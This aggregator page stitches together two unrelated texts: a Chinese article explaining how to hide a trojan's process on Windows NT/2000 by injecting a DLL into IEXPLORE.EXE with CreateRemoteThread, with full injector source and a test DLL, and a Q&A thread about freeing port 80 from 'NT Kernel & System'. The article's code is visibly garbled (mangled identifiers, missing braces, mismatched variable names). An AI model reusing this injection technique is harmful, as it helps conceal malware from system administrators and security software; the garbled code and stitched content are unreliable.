Windows NT/系统进程的隐藏技术

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Windows NT/系统进程的隐藏技术相关的知识,希望对你有一定的参考价值。

参考技术A

  摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库 方法 ,较好地解决了这一 问题 ,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

   关键字进程 线程 木马 动态链接库

  木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

  本文 分析 了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

  1 基本原理

  在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断 发展 ,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

  2 实现方法

  为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

  运行DLL方法有多种,但其中最隐蔽的.方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 理论 上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

  远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

   3 实施步骤

  1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

  OpenProcess()函数打开宿主进程。

  2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。

  3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。

  4) 拷贝到步骤二已经分配的内存中。

  5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

  6) 用CreateRemoteThread()函数在远程进程中创建一个线程。

  7) 它调用正确的LoadlibraryA()函数。

  8) 为它传递步骤二中分配的内存地址。

  4 具体实例

  下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

  #include

  #include

  #include

  #include//该头文件包涵了进程操作的API函数

  #pragma hdrstop

  #include "Unit1.h"

  #pragma package(smart_init)

  #pragma resource "*.dfm"

  Insisting pszLibFileName;//存放待隐藏的DLL文件名

  HANDLE hProcessSnap=NULL;//进程快照句柄

  HANDLE hRemoteProcess;//远程进程句柄

  LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间

  HMODULE phmd;//存放kernel32.dll句柄

  HANDLE hRemoteThread1=NULL;//存放远程线程句柄

  TForm1 *Form1;

  //---------------------------------------------------------

  __fast call TForm1::TForm1(TComponent* Owner)

  : TForm(Owner)

  

  

  //---------------------------------------------------------

  void __fastcall TForm1::Button1Click(TObject *Sender)

  

  PROCESSENTRY32 pe32=0;

  DWORD dwRemoteProcessId;

  hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  //打开进程快照

  if(hProcessSnap==(HANDLE)-1)

  

  MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);

  exit(0);

   //失败返回

  pe32.dwSize=sizeof(PROCESSENTRY32);

  if(Process32First(hProcessSnap,&pe32)) //获取第一个进程

  

  do

  AnsiString te;

  te=pe32.szExeFile;

  if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))

  //找到宿主进程,以IEXPLORE.EXE为例

   dwRemoteProcessId=pe32.th32ProcessID;

  break;

  

  

  while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

  

  else

  

  MessageBox(NULL,"取第一个进程失败","",MB_OK);

  exit(0);

  

  hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

  _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

  //打开远程进程

  pszLibFileName=GetCurrentDir()+""+"hide.dll";

  // 假设hide.dll是待隐藏的进程

  int cb=(1+pszLibFileName.Length())*sizeof(char);// 计算 dll文件名长度

  pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

  MEM_COMMIT,PAGE_READWRITE);

  //申请存放文件名的空间

  BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

  //把dll文件名写入申请的空间

  phmd=GetModuleHandle("kernel32.dll");

  LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)

  GetProcAddress(phmd,"LoadLibraryA");

  //获取动态链接库函数地址

  hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

  pfnStartAddr,pszLibFileRemote,0,NULL);

  //创建远程线程

  if(hRemoteThread1!=NULL)

  CloseHandle(hRemoteThread1);//关闭远程线程

  if(hProcessSnap!=NULL)

  CloseHandle(hProcessSnap);//关闭进程快照

  

  该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

  至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

  #include

  #include

  #pragma hdrstop

  #pragma argsused

  BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

  

  char szProcessId[64];

  switch(reason)

  

  case DLL_PROCESS_ATTACH:

  //获取当前进程ID

  itoa(GetCurrentProcessId(),szProcessId,10);

  MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

  break;

  

  default:

  

  return TRUE;

  

  当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

  也能看到:

  Process ID: 1208

  C:WINNTIEXPLORE.EXE (0x00400000)

  ……

  C:WINNThide.dll (0x100000000)

  ……

  这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

  5 结束语

  进程隐藏技术和 方法 有很多,而且这一技术 发展 也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供 参考 ,本文抛砖引玉,不当之处诚恳批评指正。

  参考 文献

  1 Jeffrey Richter著 王建华、张焕生、侯丽坤等译 Windows核心编程 机械 工业 出版社2

  K.赖斯多夫 H. 亨德森著 希望图书创作室译 Borland C++ Builder 实用培训教程.

windows 8 NT 内核和系统使用端口 80

【中文标题】windows 8 NT 内核和系统使用端口 80【英文标题】:windows 8 NT Kernel and System using port 80 【发布时间】:2012-09-11 14:28:55 【问题描述】:

这一直困扰着我。升级到 Windows 8 后,如果不使用端口 80 以外的端口,我已经无法运行我的 XAMPP 服务器,因为一个名为“NT Kernel & System”的进程正在使用它。这是一个系统进程,所以我无法禁用它。我没有安装任何 IIS 或 Web 服务器,所以我很沮丧如何使用该端口 80。

如果你们中的任何人知道如何更改“NT Kernel & System”使用的端口,那就太好了!

谢谢!

【问题讨论】:

Port 80 is being used by SYSTEM (PID 4), what is that?的可能重复 【参考方案1】:

当我想让自己的应用程序在该端口上侦听时,NT 内核在侦听端口 80 时遇到了同样的问题。

停止后

IIS 万维网发布服务 IIS 管理服务 SQL Server 报告服务

NT 内核仍在侦听端口 80

当我停止“Web 部署代理服务”时,它终于停止了对 80 的侦听。

注意:在提升的命令提示符中使用 netstat -bano 以查看哪些应用正在侦听哪些端口。

【讨论】:

我已经禁用了 IIS。现在禁用“SQL Server Reporting services”解决了这个问题。 该死的,它是:SQL Server 报告服务。谢谢! 谢谢。拯救我的一天。它实际上是 SQL Server 报告服务 在我的例子中是“Web 部署代理服务”。谢谢!【参考方案2】:

我在 Windows 8 上仅安装 Apache 2.2.22 后遇到了这个问题。在搜索了许多论坛以获取信息后,我坚信这是在 Windows 上导致此问题的最常见原因,它会产生“make_sock can not bind to address 0.0.0.0:80" 错误,是 IIS 正在运行。停止万维网发布服务是最终让 Apache 为我启动的原因。

【讨论】:

我怀疑 VisualStudio 在我的案例中安装了这个 Web 服务器。 俄语本地化 "Служба веб-публикаций"【参考方案3】:

一大堆服务可能已经占用了 80 端口:

http://lordamit.blogspot.de/2012/06/windows-7-windows-8-apache-errorport-80.html

很难说是哪一个导致你的系统这样做,我不得不禁用“万维网发布服务”。

【讨论】:

我遇到了同样的问题并禁用了“万维网发布服务”并且它起作用了。【参考方案4】:

除了 World Wide Publishing,我还必须停止启动 HTTP 服务的 Web 部署代理服务

【讨论】:

【参考方案5】:

我在 Windows Server 2016 标准上遇到了同样的问题。我按照以下步骤操作;

1.停止 SQL Server 报告服务 (s-s-rS) 有助于释放端口 80。 2.配置s-s-rS到不同的81端口,然后重启服务

【讨论】:

【参考方案6】:

停止 w3svc 服务对我有用 - 只需在提升的命令提示符中写入(VS2017 命令提示符以管理员身份启动):

sc stop w3svc

【讨论】:

以上是关于Windows NT/系统进程的隐藏技术的主要内容,如果未能解决你的问题,请参考以下文章

windows NT内核是啥?

本地系统服务例程:Nt和Zw系列函数

windows 8 NT 内核和系统使用端口 80

windows 8 NT 内核和系统使用端口 80

win7系统怎么隐藏进程?

如何在 Linux/Unix/Windows 中发现隐藏的进程和端口